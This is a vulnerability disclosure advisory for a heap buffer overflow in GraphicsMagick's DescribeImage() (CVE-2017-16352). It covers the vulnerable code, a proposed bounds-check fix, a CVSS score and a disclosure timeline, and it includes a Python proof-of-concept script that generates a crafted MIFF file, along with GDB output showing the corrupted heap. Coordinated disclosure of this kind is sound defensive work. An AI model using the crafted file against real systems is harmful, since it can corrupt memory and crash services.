An unsafe call to strncpy in magick/describe.c causes a heap overflow when describing images with overly long directories. The vulnerable code path can be triggered when verbosely identifying specially crafted MIFF files.

This vulnerability was reported as part of the Beyond Security SecuriTeam Secure Disclosure program. It is also published on their blog at https://blogs.securiteam.com/index.php/archives/3494.

Affected Versions

The current release (1.3.26) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.

Vulnerability Scores

  • Classification: CWE-122: Heap-based Buffer Overflow
  • CVSSv3: 7.6 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H)

Description

The vulnerable code exists in the function DescribeImage() in the file magick/describe.c. The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.

844       /*
845         Display visual image directory.
846       */
847       image_info=CloneImageInfo((ImageInfo *) NULL);
848       (void) CloneString(&image_info->size,"64x64");
849       (void) fprintf(file,"  Directory:\n");
850       for (p=image->directory; *p != '\0'; p++)
851         {
852           q=p;
853           while ((*q != '\n') && (*q != '\0'))
854             q++;
855           (void) strncpy(image_info->filename,p,q-p);
856           image_info->filename[q-p]='\0';
857           p=q;
...
880         }
881       DestroyImageInfo(image_info);

Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be easily corrupted by forging an overly long directory name.

type = struct _ImageInfo {
...
    FILE *file;
    char magick[2053];
    char filename[2053];
    _CacheInfoPtr_ cache;
    void *definitions;
    Image *attributes;
    unsigned int ping;
    PreviewType preview_type;
    unsigned int affirm;
    _BlobInfoPtr_ blob;
    size_t length;
    char unique[2053];
    char zero[2053];
    unsigned long signature;
}

One possible way to trigger the bug is to run the identify command on a specially crafted MIFF format file with the verbose flag.

Mitigation

To fix this issue, we recommend the following non-intrusive fix. The addition of a check in the while loop to ensure that (q-p) is never larger than the size of the buffer (MaxTextExtent) will prevent the unbounded overflow.

850       for (p=image->directory; *p != '\0'; p++)
851         {
852           q=p;
853           while ((*q != '\n') && (*q != '\0') && ((q-p) < MaxTextExtent))
854             q++;
855           (void) strncpy(image_info->filename,p,q-p);
856           image_info->filename[q-p]='\0';
857           p=q;
...
880         }
881       DestroyImageInfo(image_info);

Additionally, enabling the FORTIFY_SOURCE flag when compiling with gcc and GLIBC will mitigate the exploitability of the bug.

Proof of Concept

The following proof of concept script will generate a specially crafted MIFF file exploit.miff.

#!/usr/bin/python

from pwn import *

partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
              ':\x1a',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"

def main():
    payload = "A"*10000
    payload = partitions[0] + payload + partitions[1]
    file(output, "w").write(payload)

if __name__ == "__main__":
    main()

Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful.

gef➤  r identify -verbose exploit.miff
...
gef➤  br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤  p *image_info
$3 = {
...
  compression = UndefinedCompression,
  file = 0x0,
  magick = '\000' <repeats 2052 times>,
  filename = 'A' <repeats 2053 times>,
  cache = 0x4141414141414141,
  definitions = 0x4141414141414141,
  attributes = 0x4141414141414141,
  ping = 0x41414141,
  preview_type = 1094795585,
  affirm = 0x41414141,
  blob = 0x4141414141414141,
  length = 0x4141414141414141,
  unique = 'A' <repeats 2053 times>,
  zero = 'A' <repeats 2053 times>,
  signature = 0x4141414141414141
}

Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).

Timeline

  • 5 Oct 2017 - Discovery of the vulnerability.
  • 17 Oct 2017 - Reporting of vulnerability to Beyond Security under the SecuriTeam Secure Disclosure program.
  • 1 Nov 2017 - Bounty paid and vulnerability disclosed on the Beyond Security SecuriTeam Secure Disclosure blog.
  • 2 Nov 2017 - CVE-2017-16352 assigned.

Leave a Comment